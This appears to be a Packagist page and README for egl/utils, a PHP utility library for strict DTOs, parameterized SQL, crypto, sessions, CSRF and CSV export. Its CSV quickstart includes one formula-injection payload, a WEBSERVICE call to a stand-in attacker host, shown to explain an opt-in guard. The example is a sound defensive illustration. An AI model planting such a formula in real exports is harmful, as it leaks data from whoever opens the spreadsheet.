egl / utils
General-purpose PHP utility helpers shared across EGL projects
Requires
- php: >=8.1
- ext-fileinfo: *
- ext-pdo: *
- psr/container: ^2.0
- psr/log: ^3.0
Requires (Dev)
- deptrac/deptrac: ^4.4
- ergebnis/composer-normalize: ^2.44
- friendsofphp/php-cs-fixer: ^3.75
- masterminds/html5: ^2.7.5
- phpbench/phpbench: ^1.2
- phpstan/phpstan: ^2.2
- phpunit/phpunit: ^10.5
- symfony/html-sanitizer: ^6.4
Suggests
- ext-iconv: Required by Str::transcode() (spec r3 FR-31); also improves Str::slug() transliteration when ext-intl is absent. transcode() raises a clear UtilsException if called without it, rather than degrading silently.
- symfony/html-sanitizer: Required by Sanitizer::richText() to sanitize user-authored HTML (spec FR-09b). Not needed unless you render untrusted markup; richText() raises a clear UtilsException if it is called without this installed, rather than returning the input unsanitized.
Provides
None
Conflicts
None
Replaces
None
- dev-master
- v1.0.0
- dev-feat/dto-toarray-jsonserializable
- dev-feat/str-batch-2-segments-eol-codepoints
- dev-feat/str-batch-1-mask-truncate-case-validators
- dev-docs/plan-m15-m18-roadmap
- dev-docs/rfc-0004-approval-record
- dev-docs/rfc-0004-must-have-surface
- dev-docs/mirror-m15-second-pass
- dev-build/packagist-registration-verified
- dev-docs/v1-tag-provenance
- dev-docs/issues-index
- dev-docs/finish-v1-transition
- dev-release/v1.0.0
- dev-release/v0.11.0
- dev-perf/nfr10-nfr11-budget-decisions
- dev-tools/bench-control-invalidation
- dev-perf/nfr13-crypto-benchmark
- dev-feat/mail-group
- dev-feat/logging-channels
- dev-feat/crypto-aes-gcm
- dev-perf/http-nfr11-benchmarks
- dev-docs/file-nfr10-budget-item
- dev-test/t07-http-client-live
- dev-feat/api-envelope
- dev-feat/router
- dev-feat/http-client
- dev-perf/native-function-invocation
- dev-perf/rownormalizer-trim-only-fast-path
- dev-spec/nfr09-budget-revision
- dev-tools/bench-regression-exclusions
- dev-bench/gateway-vs-pdo-nfr09
- dev-test/t13-gateway-injection
- dev-feat/table-gateway
- dev-feat/persistence/repository
- dev-feat/persistence/row-normalizer
- dev-feat/database/literal-string-sql
- dev-test/mutation-gate
- dev-feat/database/sql-statement
- dev-feat/support/nfr10-nfr12-benchmarks
- dev-feat/file-sequence
- dev-feat/csv
- dev-feat/url-value-object
- dev-feat/lookup
- dev-feat/str-additions
- dev-docs/plan-rfc-0002-milestones
- dev-docs/rfc-0002-legacy-intake
- dev-worktree-bridge-publish-8.3
This package is auto-updated.
Last update: 2026-09-10 12:58:51 UTC
README
General-purpose PHP utility helpers shared across EGL projects
A library written in PHP 8.1+, built and governed to an enterprise quality bar: a full CI matrix on 8.1/8.2/8.3, PHPStan at max level, PHP-CS-Fixer (PSR-12), enforced layer boundaries (deptrac), a mutation-score floor, per-diff coverage gates, benchmarked performance budgets, documented design decisions, and SemVer releases.
What it is
A modern utilities library for EGL PHP projects — framework-based and native/legacy alike — replacing the ad-hoc per-project solutions this codebase was written to retire: associative-array DTOs, blocklist sanitizers, string-built SQL, silent PDO error modes.
Every component refuses rather than guesses. An unknown DTO key throws instead of being
dropped; a response header carrying CR/LF is refused when it is set, not when it is sent; a
connection executes a SqlStatement and nothing else. The one place the library deliberately does
not refuse is where refusing would mutilate data — the CSV formula guard is opt-in, because
silently rewriting =A1 in round-tripped data is worse than the export being pasted into a
spreadsheet.
Nine component groups sit over a Support layer, and the dependency direction is enforced in CI by
deptrac rather than by convention:
| Namespace | What it is for |
|---|---|
D4np\Utils\Dto\ |
Typed readonly DTOs — strict hydration by default, Collection<T>, withers |
D4np\Utils\Database\ |
PDO with safe defaults pinned, a fluent QueryBuilder, closure-scoped Transaction, and SqlStatement — the only shape the connection will execute |
D4np\Utils\Persistence\ |
Repository and TableGateway over that: rows normalized, then hydrated, every failure typed |
D4np\Utils\Security\ |
Escaper (four contexts), Sanitizer, Hash (Argon2id), Crypto (AES-256-GCM), Hmac (detached signatures) — both with SecretKeyRing key rotation |
D4np\Utils\Http\ |
Request/Response that refuse rather than coerce, hardened Session, CsrfToken, HttpClient, Router, ApiEnvelope |
D4np\Utils\Errors\ |
Result, a PSR-3 Logger, level-filtered and fan-out channels, ExceptionHandler |
D4np\Utils\Mail\ |
Validated EmailAddress, a MailMessage that cannot carry a header terminator, Mailer/NativeMailer |
D4np\Utils\Container\ |
A minimal PSR-11 container and ServiceProvider, with circular dependencies detected |
D4np\Utils\Support\ |
Str, File, Csv, Url, Lookup, Env, Json, FileSequence, and the exception hierarchy everything above throws into |
The frozen specification is in docs/specs/01_spec_utils.md.
The three names, reconciled
They are three different naming systems for one project, and the mismatch is deliberate — a recorded maintainer decision (RFC-0001, Alternatives #5), not drift:
| You will see | Where it applies |
|---|---|
egl-util-php |
the repository — this GitHub project |
egl/utils |
the Composer package — what you require, and its name on Packagist |
D4np\Utils\ |
the PSR-4 namespace — what you use in code |
So composer require egl/utils gives you classes under D4np\Utils\, from a repository called
egl-util-php. The PSR-4 base directory is src/main/php/d4np/utils/.
Install
composer require egl/utils
It resolves from Packagist — no VCS repository
entry needed. The API is frozen for the whole 1.x line
(ADR-0059),
so ^1.0 is a safe constraint and picks up every release in it. Its only hard dependencies are
interface-only packages — psr/container, psr/log, and psr/clock from v1.1.0 onward.
Released so far: v1.1.0 (M14's five additive seams and M13's close-out) and v1.0.0 (the
first release and the freeze). What each contains is in CHANGELOG.md; why you
might upgrade is in docs/releases/.
Requires PHP ≥ 8.1 with ext-pdo and ext-fileinfo. Two things are suggested rather than
required, and each refuses at the call site when absent rather than degrading silently:
ext-iconv (for Str::transcode()) and symfony/html-sanitizer (for Sanitizer::richText()).
masterruns ahead of the newest tag, by design. Work lands onmastercontinuously and is released in batches, so the surface tables above describe the repository. For what a given version actually contains, readCHANGELOG.md—[Unreleased]is exactly the part you cannot install yet.
Quickstart
Four tasks, each a complete program. Every example below was executed against egl/utils
installed from Packagist — not against this working tree — and the output shown is what it
printed. They were verified at v1.0.0 and the 1.x freeze keeps them valid: nothing they use has
changed shape since.
Hydrate a DTO
<?php use D4np\Utils\Dto\Collection; use D4np\Utils\Dto\DataTransferObject; use D4np\Utils\Support\HydrationException; require 'vendor/autoload.php'; final class UserDto extends DataTransferObject { public function __construct( public readonly int $id, public readonly string $email, public readonly string $name, ) {} } $user = UserDto::fromArray(['id' => 1, 'email' => 'ada@example.com', 'name' => 'Ada']); echo $user->name; // Ada // Strict is the default: a key the DTO does not declare is an error, not a shrug. try { UserDto::fromArray(['id' => 1, 'email' => 'a@b.c', 'name' => 'Ada', 'is_admin' => true]); } catch (HydrationException $e) { echo $e->getMessage(); // names the offending key: is_admin } // ...unless you genuinely receive wider payloads than you map. $user = UserDto::lenient()->fromArray(['id' => 1, 'email' => 'a@b.c', 'name' => 'Ada', 'is_admin' => true]); $users = Collection::of(UserDto::class, [$user]); $names = $users->map(fn (UserDto $u): string => $u->name)->toArray(); // ['Ada']
Dropping an undeclared key silently is how a typo becomes a field that was never assigned, and how
a mass-assignment attempt becomes invisible — so fromArray() refuses and lenient() is the
per-call opt-out.
Build a safe query
<?php use D4np\Utils\Database\DatabaseConnection; use D4np\Utils\Database\Operator; use D4np\Utils\Database\QueryBuilder; use D4np\Utils\Database\SqlStatement; require 'vendor/autoload.php'; $db = new DatabaseConnection(new PDO('sqlite::memory:')); // safe defaults pinned here // Your schema already exists; this is here so the example runs as-is. $db->pdo()->exec('CREATE TABLE users (id INTEGER PRIMARY KEY, email TEXT, name TEXT, active INTEGER)'); $db->execute(SqlStatement::literal( 'INSERT INTO users (id, email, name, active) VALUES (?, ?, ?, ?)', [1, 'ada@example.com', 'Ada', 1], )); $query = (new QueryBuilder($db, 'users')) ->select('id', 'email', 'name') ->where('active', Operator::Equals, 1) ->orderBy('name') ->limit(10); $rows = $db->select(SqlStatement::fromQueryBuilder($query)); echo $rows[0]['email']; // ada@example.com echo $query->toSql(); // SELECT "id", "email", "name" FROM "users" WHERE "active" = ? ORDER BY "name" ASC LIMIT 10 echo json_encode($query->bindings()); // [1] — the value never entered the SQL text
select(), selectOne() and execute() accept only a SqlStatement, so there is one choke
point where SQL text and its parameters must travel together. Its constructor is private:
literal() takes hand-written SQL that PHPStan proves is a literal string,
fromQueryBuilder()/fromMutation() take the builder object so no SQL text crosses as a bare
argument, and composed() is the single conspicuous escape hatch — with zero uses inside the
library, so grep composed( is the whole review list.
Table and column names are checked against an allowlist when they enter the builder; values never enter the SQL at all.
Testing your own repositories. DatabaseConnection implements
D4np\Utils\Database\Connection, and Repository, TableGateway, QueryBuilder,
MutationBuilder and Transaction all accept that interface — so a unit test can substitute the
persistence boundary instead of running a database (issue #113,
ADR-0072):
final class InMemoryConnection implements D4np\Utils\Database\Connection { public function pdo(): PDO { throw new LogicException('reads only'); } public function driver(): string { return 'sqlite'; } public function select(SqlStatement $s): array { return [['id' => 1, 'name' => 'Ada']]; } public function selectOne(SqlStatement $s): ?array { return ['id' => 1, 'name' => 'Ada']; } public function execute(SqlStatement $s): int { return 1; } }
pdo() may throw in a fake: only Transaction calls it, and constructing a repository does not.
Note what a fake does not inherit — real prepares, ERRMODE_EXCEPTION, utf8mb4 — so keep
proofs about SQL injection on a real engine, as this library's own suites do.
Wire CSRF
<?php use D4np\Utils\Http\CsrfToken; use D4np\Utils\Http\Session; use D4np\Utils\Security\Escaper; require 'vendor/autoload.php'; $session = new Session(); // Secure + HttpOnly + SameSite=Lax by default $session->start(); // before any output — see below $csrf = new CsrfToken($session); // Rendering the form $token = $csrf->issue('checkout'); echo '<input type="hidden" name="_token" value="' . Escaper::attr($token) . '">'; // Handling the POST that follows. In a real handler the token arrives as // $_POST['_token'] ?? '' — it is a plain variable here so the example runs. $submitted = $token; if (!$csrf->validate($submitted, 'checkout')) { http_response_code(419); exit; } echo 'accepted';
issue() is stable within a session, so concurrently open forms all carry a token that still
validates; rotate() is the explicit way to get a new one. Scopes are isolated — a checkout
token does not validate against profile.
Two constraints worth knowing before you hit them. Session::start() throws if the headers have
already been sent, because cookie parameters cannot be applied afterwards and it refuses rather
than starting a session whose cookie lacks the required flags. And SameSite::None paired with
secure: false is refused at construction: browsers drop that cookie combination entirely, so the
misconfiguration surfaces at wiring time rather than as "sessions do not work" in production.
Handle a Result
<?php use D4np\Utils\Errors\Result; use D4np\Utils\Support\Json; require 'vendor/autoload.php'; $requestBody = '{"qty": 3}'; // whatever arrived on the wire $order = Result::try(static fn (): array => Json::decode($requestBody)); $qty = $order ->map(static fn (array $d): int => $d['qty'] * 2) ->orElse(0); // 6 here; 0 when anything above failed if ($order->isFailure()) { $error = $order->error(); // the Throwable, for your log } echo $qty; // 6
Result is for the failures you expect to handle, not the ones you want to crash on: try()
captures the throw, map()/flatMap() only run on the success path, and orElse() /
orElseThrow() are the two ways back out. Nothing is swallowed — error() always carries the
original throwable.
Export a CSV without handing someone a formula
<?php use D4np\Utils\Support\Csv; require 'vendor/autoload.php'; $rows = [ ['name', 'note'], ['Ada', '=WEBSERVICE("http://attacker.example/?c="&A1)'], // came from a user ]; Csv::write('/tmp/export.csv', $rows, guardFormulas: true);
guardFormulas is off by default and that is the one flag worth knowing about. A field starting
=, +, -, @, a tab or a carriage return is run as a formula by Excel, LibreOffice and Google
Sheets when the file is opened — so the row above, exported without the flag, is a request made from
the machine of whoever opens your spreadsheet.
Off is ADR-0037's
deliberate call, because the guard changes exported data (it prefixes an apostrophe) and only the caller knows
whether the file is going to a spreadsheet or to another program. Pass true whenever any field
can contain text a user supplied.
More
The frozen 1.0 surface is browsable under
src/main/php/d4np/utils/ — every class carries its contract, its
@throws and its reasoning in the docblock, which is where the detail behind these four examples
lives. For needs this library deliberately does not cover, see
third-party picks.
The pattern pages under docs/patterns/ explain why things are shaped the way
they are, and are worth reading before extending the library. Start with
the endpoint kernel — a front controller wiring Router,
Response and ApiEnvelope, whose blocks were assembled into a running application and driven over
HTTP for the 200, 404 and 405 branches (ROADMAP 13.3).
One caveat that still stands: no doc example is executed by CI, so every one of them is verified as of the change that touched it and not continuously. When an example and the code disagree, the code is right.
Build, test, run
For working on this library rather than with it:
composer install --optimize-autoloader vendor/bin/phpunit
- Toolchain: Composer (PSR-4 autoload), PHPUnit, PHP-CS-Fixer (PSR-12), PHPStan (max level),
deptrac, Infection, phpbench, and Psalm for taint analysis only — a nightly source-to-sink
check that PHPStan structurally cannot do, not a second type checker. See
docs/security/taint-analysis.md. - Supported platforms: Linux (PHP 8.1, 8.2, 8.3).
- Engines: SQLite, MySQL and PostgreSQL. The
DatabaseandPersistencesuites run against SQLite by default and against a real server when you point them at one.
Running the suites against MySQL or PostgreSQL
One environment variable switches the engine (issue #110, ADR-0071); CI runs both legs on every PR.
EGL_TEST_DB_DSN='pgsql:host=127.0.0.1;port=5432;dbname=egl_utils_test' \
EGL_TEST_DB_USER=postgres EGL_TEST_DB_PASSWORD=secret \
vendor/bin/phpunit --group database-engine --fail-on-skipped
A configured engine that cannot be reached fails rather than skipping — a green run that never opened a connection reports coverage nobody has.
See docs/development/local-build.md for the full local setup,
and CONTRIBUTING.md for what a change must clear.
How this project is run
| Document | Purpose |
|---|---|
AGENTS.md |
How AI agents (and humans) work in this repo — the contract. |
ROADMAP.md |
The numbered plan and what is done. |
ISSUES.md |
The GitHub issues, newest first, each with its advisory model/effort route. |
docs/adr/ |
Why it is built the way it is (Architecture Decision Records). |
docs/patterns/ |
Design patterns adopted, rejected, or considered. |
docs/patterns/third-party-picks.md |
Endorsed third-party libraries for needs this library deliberately doesn't cover. |
docs/workflow/ |
Git, documentation, release, and maintenance conventions. |
CHANGELOG.md |
User-visible changes per release. |
SECURITY.md |
How to report a vulnerability. |
docs/upgrading.md |
The deprecation lifecycle and the supported-versions window, in consumer terms. |
CONTRIBUTING.md |
How to open an issue or a PR, and what it must clear. |
CODE_OF_CONDUCT.md |
Community standards for this project. |
Milestones
| # | Title | Status |
|---|---|---|
| 1 | Project bootstrap & CI | ✅ done |
| 2 | Support layer | ✅ done |
| 3 | DTO & data mapping | ✅ done |
| 4 | Database | ✅ done |
| 5 | Security | ✅ done |
| 6 | HTTP, container, errors | ✅ done |
| 7 | Release engineering & bridge | ✅ done |
| 8 | PSR-7 bridge (packages/utils-psr7-bridge) |
✅ done |
| 9 | Support & values | ✅ done |
| 10 | Persistence | ✅ done |
| 11 | Http application layer | ✅ done |
| 12 | Security & channels | ✅ done |
| 13 | Documentation & release hygiene (post-1.0) | ✅ done |
| 14 | Post-1.0 functional seams (v1.1.0) | ✅ done |
| 15 | Data & time foundations | ⏳ planned |
| 16 | Input validation | ⏳ planned |
| 17 | Formats & the serialization story | ⏳ planned |
| 18 | Security hardening & resilience | ⏳ planned |
License
MIT © 2026 Daniel Polo. See LICENSE.